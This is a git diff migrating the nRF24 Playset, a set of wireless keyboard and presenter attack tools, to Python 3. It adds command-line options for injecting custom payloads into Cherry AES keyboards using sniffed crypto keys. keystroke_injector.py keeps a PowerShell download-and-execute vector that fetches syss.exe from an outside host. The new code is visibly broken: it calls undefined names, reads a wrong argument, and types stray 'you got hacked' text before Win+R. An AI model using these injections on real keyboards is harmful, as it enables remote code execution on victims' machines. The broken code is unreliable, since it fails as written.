diff --git a/.gitignore b/.gitignore index b38362e..64bff30 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ *.html *.pyc +.DS_Store diff --git a/README.md b/README.md index 584a82f..309c12e 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# nRF24 Playset +# python3 compatible nRF24 Playset The nRF24 Playset is a collection of software tools for wireless input devices like keyboards, mice, and presenters based on Nordic Semiconductor @@ -7,14 +7,19 @@ nRF24 transceivers, e.g. nRF24LE1 and nRF24LU1+. All software tools support USB dongles with the [nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware) by the Bastille Threat Research Team (many thanks to @marcnewlin) + + +## Migration from Python 2 to Python 3 + +This project has been migrated from Python 2 to Python 3. The codebase has been thoroughly updated to take advantage of Python 3's features, syntax improvements, and enhanced libraries. Users should ensure that they are using a Python 3.x interpreter to run the script. Compatibility with Python 2 is no longer supported, and users are encouraged to upgrade their environments accordingly. ## Requirements -- nRF24LU1+ USB radio dongle with flashed [nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware) by the Bastille Threat Research Team, e. g. +- nRF24LU1+ USB radio dongle with flashed python3 compatible [nrf-research-firmware](https://github.com/Einstein2150/nrf-research-firmware) * [Bitcraze CrazyRadio PA USB dongle](https://www.bitcraze.io/crazyradio-pa/) * Logitech Unifying dongle (model C-U0007, Nordic Semiconductor based) -- Python2 +- Python3 - PyUSB - PyGame for GUI-based tools @@ -22,12 +27,31 @@ by the Bastille Threat Research Team (many thanks to @marcnewlin) ## Tools -### cherry_attack.py +### cherry_attack.py v.1.1 by Einstein2150 Proof-of-concept software tool to demonstrate the replay and keystroke injection vulnerabilities of the wireless keyboard Cherry B.Unlimited AES -![Cherry Attack PoC](https://github.com/SySS-Research/nrf24-playset/blob/master/images/cherry_attack_poc.png) +#### New commandline Features + +The `-key` parameter specifies the cryptographic key used for the Cherry keyboard. It must be provided in a hex format (16 bytes) without spaces or special characters + +The `-adr` parameter specifies the device address of the Cherry keyboard. This address must also be in hex format (5 bytes) and formatted similarly to the key, with pairs of hexadecimal digits separated by colons (e.g., 00:11:22:33:44). + +The `-p` or `--payload` parameter allows users to pass a custom payload that will be used during the attack. This gives users more flexibility when conducting their tests and attacks. + +The new `-x` or `--execute` option allows users to execute an attack immediately without using the application's user interface. When both the `-p` (payload) and `-x` options are provided at startup, the attack is executed with the supplied payload right away. + +**Example:** + +``` +bash +python cherry_attack.py -key 1234567890123456789012 -adr 00:11:22:33:44 -p "Your custom payload" -x +``` + +#### New insights in cherrys encryption + +During testing with the extensions, I [@Einstein2150](https://github.com/Einstein2150) also noticed that multiple valid keys for keystroke injection can be concurrently valid at the same time. With the enhanced debugging output, the keys along with their corresponding device MAC addresses are documented as entries in the log. Feel free to collect as many working keys for your device as you can. ### keystroke_injector.py @@ -38,7 +62,7 @@ vulnerability of some AES encrypted wireless keyboards Usage: ``` -# python2 keystroke_injector.py --help +# python3 keystroke_injector.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -76,7 +100,7 @@ vulnerability of nRF24-based Logitech wireless presenters Usage: ``` -# python2 logitech_presenter.py --help +# python3 logitech_presenter.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -110,7 +134,7 @@ unencrypted and unauthenticated wireless mouse communication Usage: ``` -# python2 radioactivemouse.py --help +# python3 radioactivemouse.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ @@ -151,7 +175,7 @@ different wireless desktop sets using nRF24 ShockBurst radio communication Usage: ``` -# python2 simple_replay.py --help +# python3 simple_replay.py --help _____ ______ ___ _ _ _____ _ _ | __ \| ____|__ \| || | | __ \| | | | _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ diff --git a/cherry_attack.py b/cherry_attack.py index 75a820b..0e9272d 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -25,15 +25,27 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ -__version__ = '1.0' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '1.1' +__author__ = 'Einstein2150' +import argparse import logging import pygame -from binascii import hexlify +from binascii import hexlify, unhexlify from lib import keyboard from lib import nrf24 from logging import debug, info @@ -42,332 +54,305 @@ from sys import exit # constants -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" - -RECORD_BUTTON = pygame.K_1 # record button -REPLAY_BUTTON = pygame.K_2 # replay button -ATTACK_BUTTON = pygame.K_3 # attack button -SCAN_BUTTON = pygame.K_4 # scan button +DEFAULT_ATTACK_VECTOR = "Just an input from the hacker :D" -IDLE = 0 # idle state -RECORD = 1 # record state -REPLAY = 2 # replay state -SCAN = 3 # scan state -ATTACK = 4 # attack state +RECORD_BUTTON = pygame.K_1 +REPLAY_BUTTON = pygame.K_2 +ATTACK_BUTTON = pygame.K_3 +SCAN_BUTTON = pygame.K_4 -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -PREFIX_ADDRESS = "" # prefix address for promicious mode -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +IDLE = 0 +RECORD = 1 +REPLAY = 2 +SCAN = 3 +ATTACK = 4 +SCAN_TIME = 2 +DWELL_TIME = 0.1 +PREFIX_ADDRESS = "" +KEYSTROKE_DELAY = 0.01 class CherryAttack(): """Cherry Attack""" - def __init__(self): + def __init__(self, crypto_key=None, device_address=None, attack_vector=None, execute=False): """Initialize Cherry Attack""" - - self.state = IDLE # current state - self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards) - self.payloads = [] # list of sniffed payloads - self.kbd = None # keyboard for keystroke injection attacks - self.screen = None # screen - self.font = None # font - self.statusText = "" # current status text + info(f"Execute: {execute}, Attack Vector: {attack_vector}") + self.crypto_key = crypto_key + self.device_address = device_address + self.attack_vector = attack_vector + self.state = IDLE + self.channel = 6 + self.payloads = [] + self.kbd = None + self.screen = None + self.font = None + self.statusText = "" + self.execute = execute try: - # initialize pygame variables pygame.init() self.icon = pygame.image.load("./images/syss_logo.png") self.bg = pygame.image.load("./images/cherry_attack_bg.png") - pygame.display.set_caption("SySS Cherry Attack PoC") pygame.display.set_icon(self.icon) self.screen = pygame.display.set_mode((400, 300), 0, 24) self.font = pygame.font.SysFont("arial", 24) -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) pygame.display.update() + #pygame.key.set_repeat(250, 50) - # set key repetition parameters - pygame.key.set_repeat(250, 50) - - # initialize radio self.radio = nrf24.nrf24() - - # enable LNA self.radio.enable_lna() - - # start scanning mode - self.setState(SCAN) - except: - # info output - info("[-] Error: Could not initialize Cherry Attack") - - - def showText(self, text, x = 40, y = 140): + + # If key and device address are provided, skip scanning and initialize keyboard directly + if self.crypto_key and self.device_address: + self.initialize_keyboard() + else: + self.setState(SCAN) + # Check if execute flag is set and attack vector is provided + if execute and attack_vector: + self.setState(ATTACK) + self.perform_attack() # Perform the attack immediately + + except Exception as e: + info(f"[-] Error: Could not initialize Cherry Attack: {e}") + + def perform_attack(self): + """Perform the attack with the provided attack vector.""" + if self.kbd is not None: + # send keystrokes for attack + keystrokes = [] + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + + # send attack keystrokes + sleep(0.1) + + keystrokes = self.kbd.getKeystrokes(self.attack_vector) + keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) + + # send attack keystrokes with a small delay + for k in keystrokes: + self.radio.transmit_payload(k) + info("Sent payload: {0}".format(hexlify(k))) + + self.setState(IDLE) + + def initialize_keyboard(self): + """Initialize the keyboard with provided crypto key and device address""" + self.kbd = keyboard.CherryKeyboard(bytes(self.crypto_key)) + info(f"Initialized keyboard with Crypto Key: {hexlify(self.crypto_key).decode('utf-8')} and Device Address: {':'.join(f'{b:02X}' for b in self.device_address)}") + info('-------------------------') + self.setState(IDLE) + + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) - def setState(self, newState): - """Set state""" - if newState == RECORD: - # set RECORD state self.state = RECORD self.statusText = "RECORDING" elif newState == REPLAY: - # set REPLAY state self.state = REPLAY self.statusText = "REPLAYING" elif newState == SCAN: - # set SCAN state self.state = SCAN self.statusText = "SCANNING" elif newState == ATTACK: - # set ATTACK state self.state = ATTACK self.statusText = "ATTACKING" else: - # set IDLE state self.state = IDLE self.statusText = "IDLING" - + + # Call the method to display the menu after switching to IDLE + if self.state == IDLE: + self.display_menu() + + def display_menu(self): + self.showText("-------------------------") + info('-------------------------') + info('1: RECORDING') + info('2: REPLAYING') + info('3: ATTACKING') + info('4: SCANNING') + info('-------------------------') + self.showText("1: RECORDING") + self.showText("2: REPLAYING") + self.showText("3: ATTACKING") + self.showText("4: SCANNING") + #pygame.display.update() def unique_everseen(self, seq): - """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] - def run(self): - # main loop while True: for i in pygame.event.get(): if i.type == QUIT: exit() - elif i.type == KEYDOWN: if i.key == K_ESCAPE: exit() - - # record button state transitions if i.key == RECORD_BUTTON: - # if the current state is IDLE change it to RECORD if self.state == IDLE: - # set RECORD state self.setState(RECORD) - - # empty payloads list self.payloads = [] - - # if the current state is RECORD change it to IDLE elif self.state == RECORD: - # set IDLE state self.setState(IDLE) - - # play button state transitions if i.key == REPLAY_BUTTON: - # if the current state is IDLE change it to REPLAY if self.state == IDLE: - # set REPLAY state self.setState(REPLAY) - - # scan button state transitions if i.key == SCAN_BUTTON: - # if the current state is IDLE change it to SCAN if self.state == IDLE: - # set SCAN state self.setState(SCAN) - - # attack button state transitions if i.key == ATTACK_BUTTON: - # if the current state is IDLE change it to ATTACK if self.state == IDLE: - # set ATTACK state self.setState(ATTACK) - # show current status on screen -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - # state machine if self.state == RECORD: - # receive payload value = self.radio.receive_payload() - if value[0] == 0: - # split the payload from the status byte payload = value[1:] - - # add payload to list self.payloads.append(payload) - - # info output, show packet payload - info('Received payload: {0}'.format(hexlify(payload))) + info('Received payload: {0}'.format(hexlify(payload).decode('utf-8'))) elif self.state == REPLAY: - # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) - - # replay all payloads for p in payloadList: - # transmit payload - self.radio.transmit_payload(p.tostring()) - - # info output - info('Sent payload: {0}'.format(hexlify(p))) - + self.radio.transmit_payload(bytes(p)) + info('Sent payload: {0}'.format(hexlify(p).decode('utf-8'))) sleep(KEYSTROKE_DELAY) - - # set IDLE state after playback self.setState(IDLE) elif self.state == SCAN: - # put the radio in promiscuous mode self.radio.enter_promiscuous_mode(PREFIX_ADDRESS) - - # define channels for scan mode SCAN_CHANNELS = [6] - - # set initial channel self.radio.set_channel(SCAN_CHANNELS[0]) - - # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode last_tune = time() channel_index = 0 while True: - # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() - - # receive payloads value = self.radio.receive_payload() if len(value) >= 5: - # split the address and payload - address, payload = value[0:5], value[5:] - - # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - - # check if the address most probably belongs to a Cherry keyboard - if ord(converted_address[0]) in range(0x31, 0x3f): - # first fit strategy to find a Cherry keyboard + address, payload = value[:5], value[5:] + converted_address = address[::-1] + if converted_address[0] in range(0x31, 0x3f): self.address = converted_address break - self.showText("Found keyboard") - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join(f'{b:02X}' for b in address) self.showText(address_string) - - # info output - info("Found keyboard with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) - - # put the radio in sniffer mode (ESB w/o auto ACKs) + info(f"Found keyboard with address {address_string} on channel {SCAN_CHANNELS[channel_index]}") self.radio.enter_sniffer_mode(self.address) - info("Searching crypto key") self.statusText = "SEARCHING" self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - last_key = 0 packet_count = 0 while True: - # receive payload value = self.radio.receive_payload() - if value[0] == 0: - # do some time measurement last_key = time() - - # split the payload from the status byte payload = value[1:] - - # increment packet count packet_count += 1 - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a valid release key data packet + info('Received payload: {0}'.format(hexlify(payload).decode('utf-8'))) if packet_count >= 4 and time() - last_key > SCAN_TIME: break - + self.radio.receive_payload() - - self.showText(u"Got crypto key!") - - # info output - info('Got crypto key!') - - # initialize keyboard - self.kbd = keyboard.CherryKeyboard(payload.tostring()) + # self.showText("Got crypto key!") + self.showText("-------------------------") + # Log the Crypto Key and Device Address in hex format + crypto_key_hex = hexlify(payload).decode('utf-8') + device_address_hex = ':'.join(f'{b:02X}' for b in self.address) + info(f'Got crypto key: {crypto_key_hex}') + info(f'Device address: {device_address_hex}') + + self.kbd = keyboard.CherryKeyboard(bytes(payload)) info('Initialize keyboard') - - # set IDLE state after scanning self.setState(IDLE) elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - - # send attack keystrokes - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - sleep(KEYSTROKE_DELAY) + if self.kbd != None: + # send keystrokes for attack + keystrokes = [] + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - # need small delay after WIN + R - sleep(0.2) + # send attack keystrokes + sleep(0.1) - keystrokes = [] - keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) + keystrokes = [] + keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) + keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - # send attack keystrokes with a small delay - for k in keystrokes: - self.radio.transmit_payload(k) + # send attack keystrokes with a small delay + for k in keystrokes: + self.radio.transmit_payload(k) - # info output - info('Sent payload: {0}'.format(hexlify(k))) + # info output + info("Sent payload: {0}".format(hexlify(k))) + + self.setState(IDLE) - sleep(KEYSTROKE_DELAY) + sleep(0.05) - # set IDLE state after attack - self.setState(IDLE) - - -# main program if __name__ == '__main__': - # setup logging + # Setup logging level = logging.INFO logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - - # init - poc = CherryAttack() - - # run info("Start Cherry Attack v{0}".format(__version__)) - poc.run() - # done - info("Done.") + # Set up argument parser + parser = argparse.ArgumentParser(description='Cherry Attack PoC - a proof-of-concept tool for demonstrating replay and keystroke injection vulnerabilities of Cherry B.Unlimited AES wireless keyboards.') + parser.add_argument('-key', type=str, help='The crypto key') + parser.add_argument('-adr', type=str, help='The device address in hex format (e.g. 00:11:22:33:44)') + parser.add_argument('-p', '--payload', type=str, help='Custom payload string (can contain special characters)') + parser.add_argument('-x', '--execute', action='store_true', help='Execute attack immediately with the provided payload and quit') + + args = parser.parse_args() + # Validate that both -key and -hex are provided if any + if args.key and args.hex: + try: + crypto_key = unhexlify(args.key.replace(':', '')) + device_address = unhexlify(args.hex.replace(':', '')) + if len(crypto_key) != 16 or len(device_address) != 5: + raise ValueError("Invalid length of crypto key or device address") + except Exception as e: + info(f"Error: {e}") + exit(1) + elif args.key or args.hex: + info("Both -key and -adr must be provided together") + exit(1) + else: + crypto_key = None + device_address = None + + # Set the payload + if args.payload: + ATTACK_VECTOR = args.payload + info(f"Custom payload set: {ATTACK_VECTOR}") + + # Hier ist die Anpassung + if args.execute and args.payload: + cherry_attack = CherryAttack(crypto_key, device_address, args.payload, execute=True) + #cherry_attack.perform_attack() # Führe den Angriff sofort aus + else: + cherry_attack = CherryAttack(crypto_key, device_address) + cherry_attack.run() \ No newline at end of file diff --git a/images/cherry_attack_bg.png b/images/cherry_attack_bg.png index d49744f..d8757ed 100644 Binary files a/images/cherry_attack_bg.png and b/images/cherry_attack_bg.png differ diff --git a/keystroke_injector.py b/keystroke_injector.py index a3aec55..d9f4d73 100644 --- a/keystroke_injector.py +++ b/keystroke_injector.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -24,28 +24,36 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ -__version__ = '0.7' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.8' +__author__ = 'Einstein2150' import argparse from binascii import hexlify, unhexlify from lib import nrf24, keyboard from time import sleep, time -from sys import exit +import sys - -SCAN_CHANNELS = range(2, 84) # channels to scan -DWELL_TIME = 0.1 # dwell time for each channel in seconds -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +SCAN_CHANNELS = list(range(2, 84)) # channels to scan +DWELL_TIME = 0.1 # dwell time for each channel in seconds +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds # supported devices DEVICES = { - # Cherry Wireless Keyboard (e. g. wireless desktop set B.UNLIMITED AES) 'cherry' : 'Cherry', - # Perixx Wireless Keyboard (e. g. wireless desktop set PERIDUO-710W) 'perixx' : 'Perixx' } @@ -53,21 +61,21 @@ ATTACK_VECTORS = { 1 : ("Open calc.exe", "calc"), 2 : ("Open cmd.exe", "cmd"), - 3 : ("Classic download & execute attack", u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'") + 3 : ("Classic download & execute attack", "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'") } def banner(): """Show a fancy banner""" - print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Keystroke Injector v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__)) # main program @@ -80,7 +88,6 @@ def banner(): parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') parser.add_argument('-d', '--device', type=str, help='Target device (supported: cherry, perixx)', required=True) -# parser.add_argument('-x', '--attack', type=str, help='Attack vector') # parse arguments args = parser.parse_args() @@ -91,13 +98,13 @@ def banner(): if args.address: try: # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) except: print("[-] Error: Invalid address") - exit(1) + sys.exit(1) else: - address = "" + address = b"" try: # initialize radio @@ -108,7 +115,7 @@ def banner(): radio.enable_lna() except: print("[-] Error: Could not initialize nRF24 radio") - exit(1) + sys.exit(1) try: # set keyboard @@ -120,7 +127,7 @@ def banner(): keyboard_device = keyboard.PerixxKeyboard except Exception: print("[-] Error: Unsupported device") - exit(1) + sys.exit(1) # put the radio in promiscuous mode with given address if len(address) > 0: @@ -138,7 +145,7 @@ def banner(): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -146,22 +153,21 @@ def banner(): value = radio.receive_payload() if len(value) >= 10: # split the address and payload - address, payload = value[0:5], value[5:] + address, payload = value[:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) # ask user about device - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer.lower().startswith('y'): break else: print("[*] Continue scanning ...") # put the radio in sniffer mode (ESB w/o auto ACKs) - radio.enter_sniffer_mode(converted_address) + radio.enter_sniffer_mode(address[::-1]) last_tune = time() channel_index = 0 last_key = 0 @@ -169,12 +175,10 @@ def banner(): print("[*] Search for crypto key (actually a key release packet) ...") while True: - # Cherry does no channel hopping, so we stay tuned on the channel - # found previously if args.device != 'cherry': # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -191,9 +195,6 @@ def banner(): # increment packet count packet_count += 1 - # show packet payload -# print('Received payload: {0}'.format(hexlify(payload))) - # heuristic for having a valid release key data packet if packet_count >= 4 and time() - last_key > SCAN_TIME: break @@ -208,41 +209,43 @@ def banner(): print(" 0) Exit") try: - answer = int(raw_input("[?] Select keystroke injection attack: ")) + answer = int(input("[?] Select keystroke injection attack: ")) if answer == 0: break - if answer in ATTACK_VECTORS.keys(): + if answer in ATTACK_VECTORS: attack_keystrokes = ATTACK_VECTORS[answer][1] # keystroke injection print("[*] Start keystroke injection ...") - # initialize keyboard with latest assumed key release packet to exploit - # AES-CTR crypto with reusable nonces - if args.device == 'cherry': - kbd = keyboard_device(payload.tostring()) - elif args.device == 'perixx': - kbd = keyboard_device(payload.tostring()) + # initialize keyboard with latest assumed key release packet to exploit AES-CTR crypto with reusable nonces + kbd = keyboard_device(payload.tobytes().decode('utf-8')) # send keystrokes for chosen attack + + # Beispieltext, der injiziert werden soll + inject_text = "you got hacked" + + # Initialisiere die Keystrokes keystrokes = [] + + # Füge den injizierten Text zu den Keystrokes hinzu + keystrokes.extend(get_keystrokes_from_text(inject_text, kbd)) # kbd ist das Keyboard-Objekt + + #keystrokes = [] keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - # send attack keystrokes for k in keystrokes: radio.transmit_payload(k) sleep(KEYSTROKE_DELAY) - # need small delay after WIN + R sleep(0.1) - keystrokes = [] keystrokes = kbd.getKeystrokes(attack_keystrokes) keystrokes += kbd.getKeystroke(keyboard.KEY_RETURN) - # send attack keystrokes with a small delay for k in keystrokes: radio.transmit_payload(k) sleep(KEYSTROKE_DELAY) @@ -254,4 +257,3 @@ def banner(): print("[-] Invalid input") print("[*] Done with keystroke injections.\n Have a nice day!") - diff --git a/lib/common.py b/lib/common.py index 503b5f2..172d024 100644 --- a/lib/common.py +++ b/lib/common.py @@ -17,7 +17,7 @@ import logging, argparse -from nrf24 import * +from .nrf24 import * channels = [] args = None @@ -30,7 +30,7 @@ def init_args(description): global parser parser = argparse.ArgumentParser(description, formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50,width=120)) - parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=list(range(2, 84)), metavar='N') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output', default=False) parser.add_argument('-l', '--lna', action='store_true', help='Enable the LNA (for CrazyRadio PA dongles)', default=False) parser.add_argument('-i', '--index', type=int, help='Dongle index', default=0) diff --git a/lib/keyboard.py b/lib/keyboard.py index 56d3471..e199843 100644 --- a/lib/keyboard.py +++ b/lib/keyboard.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -21,20 +21,31 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ from struct import pack # USB HID keyboard modifier -MODIFIER_NONE = 0 -MODIFIER_CONTROL_LEFT = 1 << 0 -MODIFIER_SHIFT_LEFT = 1 << 1 -MODIFIER_ALT_LEFT = 1 << 2 -MODIFIER_GUI_LEFT = 1 << 3 -MODIFIER_CONTROL_RIGHT = 1 << 4 -MODIFIER_SHIFT_RIGHT = 1 << 5 -MODIFIER_ALT_RIGHT = 1 << 6 -MODIFIER_GUI_RIGHT = 1 << 7 +MODIFIER_NONE = 0 +MODIFIER_CONTROL_LEFT = 1 << 0 +MODIFIER_SHIFT_LEFT = 1 << 1 +MODIFIER_ALT_LEFT = 1 << 2 +MODIFIER_GUI_LEFT = 1 << 3 +MODIFIER_CONTROL_RIGHT = 1 << 4 +MODIFIER_SHIFT_RIGHT = 1 << 5 +MODIFIER_ALT_RIGHT = 1 << 6 +MODIFIER_GUI_RIGHT = 1 << 7 # USB HID key codes KEY_NONE = 0x00 @@ -247,15 +258,15 @@ '|' : (MODIFIER_ALT_RIGHT, KEY_EUROPE_2), '}' : (MODIFIER_ALT_RIGHT, KEY_0), '~' : (MODIFIER_ALT_RIGHT, KEY_BRACKET_RIGHT), - u'\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), - u'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), - u'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), - u'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT), - u'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), - u'ö' : (MODIFIER_NONE, KEY_SEMICOLON), - u'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), - u'ß' : (MODIFIER_NONE, KEY_MINUS), - u'€' : (MODIFIER_ALT_RIGHT, KEY_E) + '\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), + 'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), + 'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), + 'Ü' : (MODIFIER_SHIFT_LEFT, 